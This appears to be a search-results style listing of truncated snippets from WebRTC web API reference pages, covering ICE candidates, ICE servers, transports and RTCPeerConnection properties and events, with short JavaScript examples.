WebRTC to consider using for the connection being established. This example could be simplified somewhat; you may more often see the code look something like this, taking advantage of more advanced ECMAScript 2016 features: let handleNewIceCandidate = candidateSDP => myPeerConnection.addIceCandidate(new RTCIceCandidate(candidateSDP)); Specifications Specification Status Comment ...
...onsider using for the connection being established. This example could be simplified somewhat; you may more often see the code look something like this, taking advantage of more advanced ECMAScript 2016 features: let handleNewIceCandidate = candidateSDP => myPeerConnection.addIceCandidate(new RTCIceCandidate(candidateSDP)); Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCIceCandidate.candidate' in that specification. Candidate Recommendation Initial definition. ...
RTCIceCandidate - Web APIs
The RTCIceCandidate interface--part of the
WebRTC API--represents a candidate Internet Connectivity Establishment (ICE) configuration which may be used to establish an RTCPeerConnection. An ICE candidate describes the protocols and routing needed for
WebRTC to be able to communicate with a remote device. When starting a
WebRTC peer connection, typically a number of candidates are proposed by each end of the connection, until they mutually agree upon one which describes the connection they decide will be best.
WebRTC then uses that candidate's details to initiate the connection. For details on how the ICE process works, see Lifetime of a
WebRTC session. The article
WebRTC connectivity provides additional useful details. Constructor RTCIceCandidate() Creates an RTCIceCandidate object to...
...ss ICE restarts. Methods toJSON() Given the RTCIceCandidate's current configuration, toJSON() returns a DOMString containing a JSON representation of that configuration in the form of a RTCIceCandidateInit object. Examples For examples, see the article Signaling and video calling, which demonstrates the entire process. Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCIceCandidate' in that specification. Candidate Recommendation Initial definition. ...
RTCIceCandidateInit.candidate - Web APIs
That usage would change the above sample to look like this: function gotICECandidateMessage(msg) { var iceCandidate = new RTCIceCandidate(msg.candidate); pc.addIceCandidate(iceCandidate).catch({ /* handle error */ }); } Specifications ...
...pts the value of candidate as its only input, in place of the RTCIceCandidateInit dictionary. That usage would change the above sample to look like this: function gotICECandidateMessage(msg) { var iceCandidate = new RTCIceCandidate(msg.candidate); pc.addIceCandidate(iceCandidate).catch({ /* handle error */ }); } Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCIceCandidateInit.candidate' in that specification. Candidate Recommendation Initial specification. ...
RTCIceCandidatePair.local - Web APIs
Syntax localCandidate = RTCIceCandidatePair.local; Value An RTCIceCandidate which describes the configuration of the local end of a viable pair of ICE candidates. The RTCIceCandidatePair is returned by the RTCIceTransport method getSelectedCandidatePair(). Example This one-line example simply obtains the current candidate pair and then from that gets the local candidate. ...
...port.getSelectedCandidatePair(); var localCandidate = candidatePair.local; The RTCIceTransport is found by getting the list of RTCRtpSender objects for the RTCPeerConnection pc. In the first RTCRtpSender, we get the RTCDtlsTransport over which the media data is being transmitted and finally, from that, the RTCIceTransport. Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCIceCandidatePair.local' in that specification. Candidate Recommendation Initial specification. ...
RTCIceCandidatePair.remote - Web APIs
Syntax remoteCandidate = RTCIceCandidatePair.remote; Value An RTCIceCandidate which describes the configuration of the remote end of a viable pair of ICE candidates. The RTCIceCandidatePair is returned by the RTCIceTransport method getSelectedCandidatePair(). Example This one-line example simply obtains the current candidate pair and then from that gets the remote candidate. ...
...rt.getSelectedCandidatePair(); var remoteCandidate = candidatePair.remote; The RTCIceTransport is found by getting the list of RTCRtpSender objects for the RTCPeerConnection pc. In the first RTCRtpSender, we get the RTCDtlsTransport over which the media data is being transmitted and finally, from that, the RTCIceTransport. Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCIceCandidatePair.remote' in that specification. Candidate Recommendation Initial specification. ...
RTCIceCandidatePair - Web APIs
It is used as the return value from RTCIceTransport.getSelectedCandidatePair() to identify the currently-selected candidate pair identified by the ICE agent. Properties local An RTCIceCandidate describing the configuration of the local end of the connection. remote The RTCIceCandidate describing the configuration of the remote end of the connection. ...
... Candidate Recommendation Initial specification. ...
RTCIceCandidatePairStats.consentExpiredTimestamp - Web APIs
If this time has arrived or passed, the bindings have expired. ...
...ws the two peers described by this RTCIceCandidatePair to communicate will expire (or the time at which the binding did expire, if the time has passed). This property's value is undefined if there have been no STUN binding responses yet on the candidate pair. This is only possible if responsesReceived is 0. Specifications Specification Status Comment Identifiers for
WebRTC's Statistics APIThe definition of 'RTCIceCandidatePairStats.consentExpiredTimestamp' in that specification. Candidate Recommendation Initial specification. ...
RTCIceCandidatePairStats.nominated - Web APIs
The RTCIceCandidatePairStats property nominated specifies whether or not the candidate pair described by the underlying RTCIceCandidatePair has been nominated to be used as the configuration for the
WebRTC connection. Syntax nominated = rtcIceCandidatePairStats.nominated; Value A Boolean value which is set to true by the ICE layer if the controlling user agent has indicated that the candidate pair should be used to configure the
WebRTC connection between the two peers. Note: If more than one candidate pair are nominated at the same time, the one whose priority is higher will be selected for use. Once a candidate pair has been nominated and the two peers have each reconfigured themselves to use the specified configuration, the ICE negotiation process can potentially end (or it can con...
... whose priority is higher will be selected for use. Once a candidate pair has been nominated and the two peers have each reconfigured themselves to use the specified configuration, the ICE negotiation process can potentially end (or it can continue, to allow the connection to adapt to changing conditions). Specifications Specification Status Comment Identifiers for
WebRTC's Statistics APIThe definition of 'RTCIceCandidatePairStats.nominated' in that specification. Candidate Recommendation Initial specification. ...
RTCIceCandidatePairStats.priority - Web APIs
The obsolete RTCIceCandidatePairStats property priority reports the priority of the candidate pair as an integer value. The higher the value, the more likely the
WebRTC layer is to select the candidate pair when the time comes to establish (or re-establish) a connection between the two peers. Syntax pairPriority = rtcIceCandidatePairStats.priority; Value An integer value indicating the priority of this pair of candidates as compared to other pairs on the same peer connection. The higher this value, the better the
WebRTC layer thinks this pair of candidates is compared to the others, and the more likely a pair is to be selelcted for use. Note: This property was removed from the specification as its value cannot be guaranteed to be accurately represented in a JavaScript number. You can...
...y was removed from the specification as its value cannot be guaranteed to be accurately represented in a JavaScript number. You can calculcate its value using the algorithm described in RFC 5245, section 5.7.2 if you need this information and can accept the risk that the result may not be entirely accurate. Specifications Specification Status Comment Identifiers for
WebRTC's Statistics APIThe definition of 'RTCIceCandidatePairStats.priority' in that specification. Candidate Recommendation Initial specification. ...
RTCIceCandidateStats.priority - Web APIs
The RTCIceCandidateStats dictionary's priority property is a positive integer value indicating the priority (or desirability) of the described candidate. During ICE negotiation while setting up a
WebRTC peer connection, the priority values reported to the remote peer by a user agent are used to determine which candidates are considered "more desirable". The higher the value, the more desirable the candidate is. Syntax priority = rtcIceCandidateStats.priority; Value A positive integer indicating the priority of the RTCIceCandidate described by the RTCIceCandidateStats object. The value may be anywhere from 1 to 2,147,483,647. Determining priority The ICE specification describes how user agents and other software using
WebRTC should calculate the priority. The priority of a candidate is ...
... Candidate Recommendation Initial specification. ...
RTCIceCandidateStats - Web APIs
Properties RTCIceCandidateStats is based upon the RTCStats dictionary, so it includes those properties in addition to the ones below. address Optional A string containing the address of the candidate. This value may be an IPv4 address, an IPv6 address, or a fully-qualified domain name. This property was previously named ip and only accepted IP addresses. candidateType Optional A string matching one of the values in the RTCIceCandidateType enumerated type, indicating what kind of candidate the object provides statistics for. deleted Optional A Boolean value indicating whether or not the candidate has been released or deleted; the default value is false. ...
... Candidate Recommendation Initial specification. ...
RTCIceCandidateType - Web APIs
These strings are taken directly from the candidate a-line in SDP. Values These candidate types are listed in order of priority; the higher in the list they are, the more efficient they are. host The candidate is a host candidate, whose IP address as specified in the RTCIceCandidate.ip property is in fact the true address of the remote peer. srflx The candidate is a server reflexive candidate; the ip indicates an intermediary address assigned by the STUN server to represent the candidate's peer anonymously. ...
... a TURN server. The relay candidate's IP address is an address the TURN server uses to forward the media between the two peers. Usage notes The RTCIceCandidateType enumeration is used by the type property of RTCIceCandidate objects, as well as when reporting statistics on candidates using RTCIceCandidateStats.candidateType. Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCIceCandidateType' in that specification. Candidate Recommendation Initial definition. ...
RTCIceComponent - Web APIs
These strings are mapped to corresponding numeric values as they appear in the candidate a-line in SDP. Values "rtp" Identifies an ICE transport which is being used for the Real-time Transport Protocol (RTP), or for RTP multiplexed with the RTP Control Protocol (RTCP). RTP is defined in RFC 3550. An RTCIceComponent of this value corresponds to the component ID field in the candidate a-line with the value 1. "rtcp" Identifies an ICE transport being used for RTCP, which is defined in RFC 3550, section 6. This value of RTCIceComponent corresponds to the component ID 2. ...
...d in the candidate a-line with the value 1. "rtcp" Identifies an ICE transport being used for RTCP, which is defined in RFC 3550, section 6. This value of RTCIceComponent corresponds to the component ID 2. Usage notes The RTCIceComponent type is used by the component property of RTCIceCandidate and RTCIceTransport objects. Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCIceComponent' in that specification. Candidate Recommendation Initial definition. ...
RTCIceCredentialType - Web APIs
token Authenticating with the ICE server requires the use of an OAuth 2.0 token as defined in RFC 7635. This value has been renamed to oauth. ...
...erver object. Values oauth The RTCIceServer requires the use of OAuth 2.0 to authenticate in order to use the ICE server described. This process is detailed in RFC 7635. This property was formerly called token. password The RTCIceServer requires a username and password to authenticate prior to using the described ICE server. Obsolete values The following values are no longer part of the
WebRTC specification, but were in the past. token Authenticating with the ICE server requires the use of an OAuth 2.0 token as defined in RFC 7635. This value has been renamed to oauth. Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCIceCredentialType' in that specification. Candidate Recommend...
RTCIceProtocol - Web APIs
The
WebRTC API's RTCIceProtocol enumerated type provides a set of DOMString values representing the names of the transport protocols ICE candidates can use. These strings are taken directly from the candidate a-line in SDP. Values tcp The candidate, if selected, would use TCP as the transport protocol for its data. The tcpType property provides additional information about the kind of TCP candidate represented by the object. udp The candidate will use the UDP transport protocol for its data. This is the preferred protocol for media interactions because of its better performance profile. Usage notes The RTCIceProtocol type is used by the protocol property of RTCIceCandidate objects. ...
...ion about the kind of TCP candidate represented by the object. udp The candidate will use the UDP transport protocol for its data. This is the preferred protocol for media interactions because of its better performance profile. Usage notes The RTCIceProtocol type is used by the protocol property of RTCIceCandidate objects. Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCIceProtocol' in that specification. Candidate Recommendation Initial definition. ...
RTCIceServer.credential - Web APIs
erver. Syntax var iceServer = { ... credential = credential, ... }; var credential = iceServer.credential; iceServer.credential = newCredential; Example This example creates a new RTCPeerConnection which uses a TURN server at turnserver.example.org to negotiate connections. ...
...edential = newCredential; Example This example creates a new RTCPeerConnection which uses a TURN server at turnserver.example.org to negotiate connections. Logging into the TURN server uses the username "
webrtc" and the creative password "turnpassword". myPeerConnection = new RTCPeerConnection({ iceServers: [ { urls: "turn:turnserver.example.org", // A TURN server username: "
webrtc", credential: "turnpassword" } ] }); Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCIceServer.credential' in that specification. Candidate Recommendation Initial specification. ...
RTCIceServer.credentialType - Web APIs
er described. This process is detailed in RFC 7635. This property was formerly called token. password The RTCIceServer requires a username and password to authenticate prior to using the described ICE server. Example This example creates a new RTCPeerConnection which will use a TURN server at turnserver.example.org to negotiate connections. ...
...ibed ICE server. Example This example creates a new RTCPeerConnection which will use a TURN server at turnserver.example.org to negotiate connections. Logging into the TURN server will use the username "
webrtc" and the creative password "turnpassword". myPeerConnection = new RTCPeerConnection({ iceServers: [ { urls: "turn:turnserver.example.org", // A TURN server username: "
webrtc", credential: "turnpassword", credentialType: "password" } ] }); Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCIceServer.credential' in that specification. Candidate Recommendation Initial specification. ...
RTCIceServer.username - Web APIs
RN server. Syntax var iceServer = { ... username = username, ... }; var username = iceServer.username; iceServer.username = newUsername; Example This example creates a new RTCPeerConnection which will use a TURN server at turnserver.example.org to negotiate connections. ...
...me = newUsername; Example This example creates a new RTCPeerConnection which will use a TURN server at turnserver.example.org to negotiate connections. Logging into the TURN server will use the username "
webrtc" and the creative password "turnpassword". myPeerConnection = new RTCPeerConnection({ iceServers: [ { urls: "turn:turnserver.example.org", // A TURN server username: "
webrtc", credential: "turnpassword" } ] }); Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCIceServer.username' in that specification. Candidate Recommendation Initial specification. ...
RTCIceServer - Web APIs
username Optional If the RTCIceServer is a TURN server, then this is the username to use during the authentication process. Avoid specifying an unnecessarily large number of URLs in the urls property; the startup time for your connection will go up substantially. Every server in the list will be contacted and tried out before one is selected to be used for negotiation. Older versions of the
WebRTC specification included an url property instead of urls; this was changed in order to let you specify multiple addresses for each server in the list, as shown in the example below. Obsolete properties The following properties have been removed from the specification and should not be used. url This obsolete property is a string specifies a single ICE server's URL. Do not use this prope...
.... The first one, stun:stun.services.mozilla.com, requires authentication, so the username and password are provided. The second server has two URLs: stun:stun.example.com and stun:stun-1.example.com. ...
RTCIceTcpCandidateType - Web APIs
Candidate Recommendation Initial definition. ...
...noming connection requests. "passive" The transport will receive incoming connection requests but won't try to open an outbound connection. "so" The transport will try to open a connection simultaneously with its peer. Usage notes The RTCIceTcpCandidateType type is used by the tcpType property of RTCIceCandidate objects. Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCIceTcpCandidateType' in that specification. Candidate Recommendation Initial definition. ...
RTCIceTransport.onstatechange - Web APIs
The onstatechange event handler for the RTCIceTransport interface is a property which specifies a function to serve as the EventHandler for the statechange event that is fired whenever the transport's state changes. Syntax RTCIceTransport.onstatechange = stateChangeHandler; Value Set this property to reference a function you provide that is called by the
WebRTC layer when the RTCIceTransport object's state changes. The event handler receives as its sole input an Event object describing the statechange event which occurred. To determine the new state, examine the value of state. Example This snippet establishes a handler for the statechange event that looks to see if the transport has entered the "failed" state, which indicates that the connection has failed with no chance of being au...
... if the transport has entered the "failed" state, which indicates that the connection has failed with no chance of being automatically restored. var iceTransport = pc.getSenders()[0].transport.iceTransport; iceTransport.onstatechange = function(event) { if (iceTransport.state == "failed") { handleFailure(pc); } } Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCIceTransport.onstatechange' in that specification. Candidate Recommendation Initial specification. ...
RTCIceTransport.role - Web APIs
The read-only RTCIceTransport property role indicates which ICE role the transport is fulfilling: that of the controlling agent, or the agent that is being controlled. You can learn more about ICE roles in Choosing a candidate pair in
WebRTC connectivity. Syntax iceRole = RTCIceTransport.role; Value A DOMString specifying whether the RTCIceTransport represents the controlling agent or the controlled agent. ...
...e; Value A DOMString specifying whether the RTCIceTransport represents the controlling agent or the controlled agent. The value must be one of those found in the enumerated type RTCIceRole: "controlling" The RTCIceTransport object is serving as the controlling agent. "controlled" The transport is the controlled agent. Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCIceTransport.role' in that specification. Candidate Recommendation Initial definition. ...
RTCIceTransport: statechange event - Web APIs
A statechange event occurs when the RTCIceTransport changes state. The state can be used to determine how far through the process of examining, verifying, and selecting a valid candidate pair is prior to successfully connecting the two peers for
WebRTC communications. Bubbles No Cancelable No Interface Event Event handler property RTCIceTransport.onstatechange Examples Given an RTCPeerConnection, pc, the following code creates an event handler that calls a function named handleFailure() if the ICE transport enters a failure state. let iceTransport = pc.getSenders()[0].transport.iceTransport; iceTransport.addEventListener("statechange", ev => { if (iceTransport.state === "failed") { handleFailure(pc); } }, false); The same c...
... Candidate Recommendation ...
RTCIceTransportState - Web APIs
tivity check process is started over again; this will cause a transition from the "connected" state if the restart occurred while the state was "completed". If the restart occured during a transient "disconnected" state, the state transitions to "checking" The disconnected state "disconnected" is a transient state that occurs when the connection between the two peers fails in a manner that the
WebRTC infrastructure can automatically correct once the connection is available again. It is not a failure state. Instead, you can think of "disconnected" as being similar to "checking" but with the added information that the connection had been working but at the moment is not. Every user agent and platform may have its own scenarios that can trigger the "disconnected" state. Possible causes inclu...
... Candidate Recommendation Initial definition. ...
RTCInboundRtpStreamStats - Web APIs
Properties The RTCInboundRtpStreamStats dictionary is based on the RTCReceivedRtpStreamStats dictionary, whose properties are also available. averageRtcpInterval A floating-point value indicating the average RTCP interval between two consecutive compound RTCP packets. bytesReceived A 64-bit integer which indicats the total numer of bytes that have been received so far for this media source. ...
...n lost or corrupted. Available only for video streams. trackId A string which identifies the statistics object representing the receiving track; this object is one of two types: RTCReceiverAudioTrackAttachmentStats or RTCReceiverVideoTrackAttachmentStats. This ID is stable across multiple calls to getStats(). Examples Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCInboundRtpStreamStats' in that specification. Candidate Recommendation Initial specification. ...
RTCNetworkType - Web APIs
This type is used as the value or the following properties: RTCIceCandidate's networkType RTCStunServerConnectionStats's networkType Values bluetooth A Bluetooth connection is used by the described connection. cellular The connection uses a cellular data service to connect. This includes all cellular data services including EDGE (2G), HSPA (3G), LTE (4G), and NR (5G). ethernet The described connection uses an Ethernet network. wifi The described connection uses WiFi. wimax The described connection uses a WiMAX network. vpn The connection uses a Virtual Private Network (VPN). ...
...cts the initial connection between the local peer and the next hop along the network toward reaching the remote peer. For example, if the networkType is wifi but the user is connected using a cellular hotspot, the connection will be bottlenecked by the underlying cellular network (and any other networks between the two peers). Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCNetworkType' in that specification. Candidate Recommendation Initial definition. ...
RTCOfferAnswerOptions - Web APIs
It's used as the base type for the options parameter when calling createOffer() or createAnswer() on an RTCPeerConnection. Each of createOffer() and createAnswer() use RTCOfferAnswerOptions as the base type for their options parameter's dictionary. createOffer() uses RTCOfferOptions and createAnswer() uses RTCAnswerOptions. Properties voiceActivityDetection Optional For configurations of systems and codecs that are able to detect when the user is speaking and toggle muting on and off automatically, this option enables and disables that behavior. ...
... and createAnswer() uses RTCAnswerOptions. Properties voiceActivityDetection Optional For configurations of systems and codecs that are able to detect when the user is speaking and toggle muting on and off automatically, this option enables and disables that behavior. The default value is true, enabling this functionality Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCOfferAnswerOptions' in that specification. Candidate Recommendation Initial definition. ...
RTCPeerConnection.canTrickleIceCandidates - Web APIs
te peer can accept trickled ICE candidates. ICE trickling is the process of continuing to send candidates after the initial offer or answer has already been sent to the other peer. This property is only set after having called RTCPeerConnection.setRemoteDescription(). Ideally, your signaling protocol provides a way to detect trickling support, so that you don't need to rely on this property. A
WebRTC browser will always support trickle ICE. If trickling isn't supported, or you aren't able to tell, you can check for a falsy value for this property and then wait until the value of iceGatheringState changes to "completed" before creating and sending the initial offer. That way, the offer contains all of the candidates. Syntax var canTrickle = RTCPeerConnection.canTrickleIceCandidates; Val...
... Candidate Recommendation Initial specification. ...
RTCPeerConnection: connectionstatechange event - Web APIs
n state can be found in connectionState, and is one of the strings in the RTCPeerConnectionState enumerated type. Bubbles No Cancelable No Interface Event Event handler onconnectionstatechange Examples For an RTCPeerConnection, pc, this example sets up a handler for connectionstatechange messages to handle changes to the connectivity of the
WebRTC session. It simply calls an app-defined function called setOnlineStatus() to update a status display. pc.onconnectionstatechange = ev => { switch(pc.connectionState) { case "new": case "checking": setOnlineStatus("Connecting..."); break; case "connected": setOnlineStatus("Online"); break; case "disconnected": setOnlineStatus("Disconnecting...");...
... Candidate Recommendation Initial specification. ...
RTCPeerConnection.createDataChannel() - Web APIs
nsigned 16-bit value, it's not a permitted value for id. SyntaxError Values were specified for both the maxPacketLifeTime and maxRetransmits options. You may only specify a non-null value for one of these. ResourceInUse An id was specified, but another RTCDataChannel is already using the same value. OperationError Either the specified id is already in use or, if no id was specified, the
WebRTC layer was unable to automatically generate an ID because all IDs are in use. Examples This example shows how to create a data channel and set up handlers for the open and message events to send and receive messages on it (For brievity, the example assumes onnegotiationneeded is set up). // Offerer side var pc = new RTCPeerConnection(options); var channel = pc.createDataChannel("chat"); ch...
... Candidate Recommendation Initial definition. ...
RTCPeerConnection.currentLocalDescription - Web APIs
e been generated by the ICE agent since the offer or answer represented by the description was first instantiated. To change the currentLocalDescription, call RTCPeerConnection.setLocalDescription(), which triggers a series of events which leads to this value being set. For details on what exactly happens and why the change isn't necessarily instantaneous, see Pending and current descriptions in
WebRTC connectivity. Unlike RTCPeerConnection.localDescription, this value represents the actual current state of the local end of the connection; localDescription may specify a description which the connection is currently in the process of switching over to. Syntax sessionDescription = RTCPeerConnection.currentLocalDescription; Return value The current description of the local end of the con...
...tion and displays an alert containing the RTCSessionDescription object's type and sdp fields. var pc = new RTCPeerConnection(); ... var sd = pc.currentLocalDescription; if (sd) { alert("Local session: type='" + sd.type + "'; sdp description='" + sd.sdp + "'"); } else { alert("No local session yet."); } Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCPeerConnection.currentLocalDescription' in that specification. Candidate Recommendation Initial specification. ...
RTCPeerConnection.currentRemoteDescription - Web APIs
been generated by the ICE agent since the offer or answer represented by the description was first instantiated. To change the currentRemoteDescription, call RTCPeerConnection.setRemoteDescription(), which triggers a series of events which leads to this value being set. For details on what exactly happens and why the change isn't necessarily instantaneous, see Pending and current descriptions in
WebRTC connectivity. Unlike RTCPeerConnection.remoteDescription, this value represents the actual current state of the local end of the connection; remoteDescription may specify a description which the connection is currently in the process of switching over to. Syntax sessionDescription = RTCPeerConnection.currentRemoteDescription; Return value The current description of the remote end of the...
...ion and displays an alert containing the RTCSessionDescription object's type and sdp fields. var pc = new RTCPeerConnection(); ... var sd = pc.currentRemoteDescription; if (sd) { alert("Local session: type='" + sd.type + "'; sdp description='" + sd.sdp + "'"); } else { alert("No local session yet."); } Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCPeerConnection.currentRemoteDescription' in that specification. Candidate Recommendation Initial specification. ...
RTCPeerConnection: iceconnectionstatechange event - Web APIs
The new ICE connection state is available in the object's iceConnectionState} property. Bubbles No Cancelable No Interface Event Event handler property oniceconnectionstatechange One common task performed by the iceconnectionstatechange event listener: to trigger ICE restart when the state changes to failed. See ICE restart in Lifetime of a
WebRTC session for further information. Usage notes A successful connection attempt will typically involve the state starting at new, then transitioning through checking, then connected, and finally completed. However, under certain circumstances, the connected state can be skipped, causing a connection to transition directly from the checking state to completed. This can happen when only the last ...
... Candidate Recommendation ...
RTCPeerConnection: identityresult event - Web APIs
An identityresult event is sent to an RTCPeerConnection object's onidentityresult event handler to inform it that an assertion has been generated by an associated identity provider (IdP) during the process of creating an SDP offer or answer. Note: While older versions of the
WebRTC specification used events to report assertions, this has been deprecated and removed from the specification. ...
...oved from the specification. Instead, the peerIdentity property returns a Promise that resolves with an identity or rejects if an error occurs or if unable to validate the identity. Bubbles No Cancelable No Interface RTCIdentityEvent Event handler property onidentityresult Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'identityresult' in that specification. Candidate Recommendation ...
RTCPeerConnection.localDescription - Web APIs
r the local end of the connection. If it has not yet been set, this is null. Syntax var sessionDescription = peerConnection.localDescription; On a more fundamental level, the returned value is the value of RTCPeerConnection.pendingLocalDescription if that property isn't null; otherwise, the value of RTCPeerConnection.currentLocalDescription is returned. See Pending and current descriptions in
WebRTC connectivity for details on this algorithm and why it's used. Example This example looks at the localDescription and displays an alert containing the RTCSessionDescription object's type and sdp fields. var pc = new RTCPeerConnection(); ... var sd = pc.localDescription; if (sd) { alert("Local session: type='" + sd.type + "'; sdp description='" + sd.sdp + "'"); } else { al...
...Description and displays an alert containing the RTCSessionDescription object's type and sdp fields. var pc = new RTCPeerConnection(); ... var sd = pc.localDescription; if (sd) { alert("Local session: type='" + sd.type + "'; sdp description='" + sd.sdp + "'"); } else { alert("No local session yet."); } Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCPeerConnection.localDescription' in that specification. Candidate Recommendation Initial specification. ...
RTCPeerConnection.pendingLocalDescription - Web APIs
ionDescription object describing a pending configuration change for the local end of the connection. This does not describe the connection as it currently stands, but as it may exist in the near future. Use RTCPeerConnection.currentLocalDescription or RTCPeerConnection.localDescription to get the current state of the endpoint. For details on the difference, see Pending and current descriptions in
WebRTC connectivity. Syntax sessionDescription = RTCPeerConnection.pendingLocalDescription; Return value If a local description change is in progress, this is an RTCSessionDescription describing the proposed configuration. Otherwise, this returns null. Example This example looks at the pendingLocalDescription to determine whether or not there's a description change being processed. var pc = ne...
... returns null. Example This example looks at the pendingLocalDescription to determine whether or not there's a description change being processed. var pc = new RTCPeerConnection(); ... var sd = pc.pendingLocalDescription; if (sd) { // There's a description change underway! } else { // No description change pending } Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCPeerConnection.pendingLocalDescription' in that specification. Candidate Recommendation Initial specification. ...
RTCPeerConnection.pendingRemoteDescription - Web APIs
cribing a pending configuration change for the remote end of the connection. This does not describe the connection as it currently stands, but as it may exist in the near future. Use RTCPeerConnection.currentRemoteDescription or RTCPeerConnection.remoteDescription to get the current session description for the remote endpoint. For details on the difference, see Pending and current descriptions in
WebRTC connectivity. Syntax sessionDescription = RTCPeerConnection.pendingRemoteDescription; Return value If a remote description change is in progress, this is an RTCSessionDescription describing the proposed configuration. Otherwise, this returns null. Example This example looks at the pendingRemoteDescription to determine whether or not there's a description change being processed. var pc =...
...eturns null. Example This example looks at the pendingRemoteDescription to determine whether or not there's a description change being processed. var pc = new RTCPeerConnection(); ... var sd = pc.pendingRemoteDescription; if (sd) { // There's a description change underway! } else { // No description change pending } Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCPeerConnection.pendingRemoteDescription' in that specification. Candidate Recommendation Initial specification. ...
RTCPeerConnection.remoteDescription - Web APIs
y your code calling RTCPeerConnection.setRemoteDescription() in response. Syntax var sessionDescription = peerConnection.remoteDescription; On a more fundamental level, the returned value is the value of RTCPeerConnection.pendingRemoteDescription if that property isn't null; otherwise, the value of RTCPeerConnection.currentRemoteDescription is returned. See Pending and current descriptions in
WebRTC connectivity for details on this algorithm and why it's used. Example This example looks at the remoteDescription and displays an alert containing the RTCSessionDescription object's type and sdp fields. var pc = new RTCPeerConnection(); ... var sd = pc.remoteDescription; if (sd) { alert("Remote session: type='" + sd.type + "'; sdp description='" + sd.sdp + "'"); } else { ...
...cription and displays an alert containing the RTCSessionDescription object's type and sdp fields. var pc = new RTCPeerConnection(); ... var sd = pc.remoteDescription; if (sd) { alert("Remote session: type='" + sd.type + "'; sdp description='" + sd.sdp + "'"); } else { alert("No remote session yet."); } Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCPeerConnection.remoteDescription' in that specification. Candidate Recommendation Initial specification. ...
RTCPeerConnection.signalingState - Web APIs
The read-only signalingState property on the RTCPeerConnection interface returns one of the string values specified by the RTCSignalingState enum; these values describe the state of the signaling process on the local end of the connection while connecting or reconnecting to another peer. See Signaling in Lifetime of a
WebRTC session for more details about the signaling process. Because the signaling process is a state machine, being able to verify that your code is in the expected state when messages arrive can help avoid unexpected and avoidable failures. For example, if you receive an answer while the signalingState isn't "have-local-offer", you know that something is wrong, since you should only receive answers after creating an offer but before an answer has been received and passed int...
...um in the May 13, 2016 draft of the specification, as it reflects the state of the RTCPeerConnection, not the signaling connection. You now detect a closed connection by checking for connectionState to be "closed" instead. Example var pc = new RTCPeerConnection(configuration); var state = pc.signalingState; Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCPeerConnection.signalingState' in that specification. Candidate Recommendation Initial specification. ...
RTCRemoteOutboundRtpStreamStats - Web APIs
Properties In addition to the properties defined by RTCSentRtpStreamStats and its underlying RTCRtpStreamstats and RTCStats dictionaries, RTCRemoteOutboundRtpStreamStats defines the following properties. localId A DOMString which is used to find the local RTCInboundRtpStreamStats object which shares the same Synchronization Source (SSRC). remoteTimestamp A DOMHighResTimeStamp specifying the timestamp (on the remote device) at which the statistics in the RTCRemoteOutboundRtpStreamStats object were sent by the remote endpoint. ...
... Candidate Recommendation Initial definition. ...
RTCRtpCodecCapability - Web APIs
The
WebRTC API's RTCRtpCodecCapability dictionary provides information describing the capabilities of a single media codec. Properties channels Optional An unsigned integer value indicating the maximum number of channels supported by the codec; for example, a codec that supports only mono sound would have a value of 1; stereo codecs would have a 2, etc. clockRate An unsigned long integer specifying the codec's clock rate in Hertz (Hz). The IANA maintains a list of codecs and their parameters, including their clock rates. mimeType A DOMString indicating the codec's MIME media type and subtype. See Codecs used by
WebRTC for details about potential codecs that might be referenced here. sdpFmtpLine Optional A DOMString giving the format specific parameters field from the a=fmtp line i...
...escribes the basic parameters for a single codec supported by the user's device. An array of objects of this type is returned in the codecs property of the RTCRtpCapabilities object returned in response to a call to either of the static functions RTCRtpSender.getCapabilities() or RTCRtpReceiver.getCapabilities(). Examples TBD Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCRtpCodecCapability' in that specification. Candidate Recommendation ...
RTCRtpCodecParameters - Web APIs
Most of the fields in this property take values which are defined and maintained by the Internet Assigned Numbers Authority (IANA). References to relevant IANA documents are provided in the see also section at the end of this article. Properties payloadType Optional The RTP payload type used to identify this codec. ...
... Most of the fields in this property take values which are defined and maintained by the Internet Assigned Numbers Authority (IANA). References to relevant IANA documents are provided in the see also section at the end of this article. Properties payloadType Optional The RTP payload type used to identify this codec. ...
RTCRtpContributingSource - Web APIs
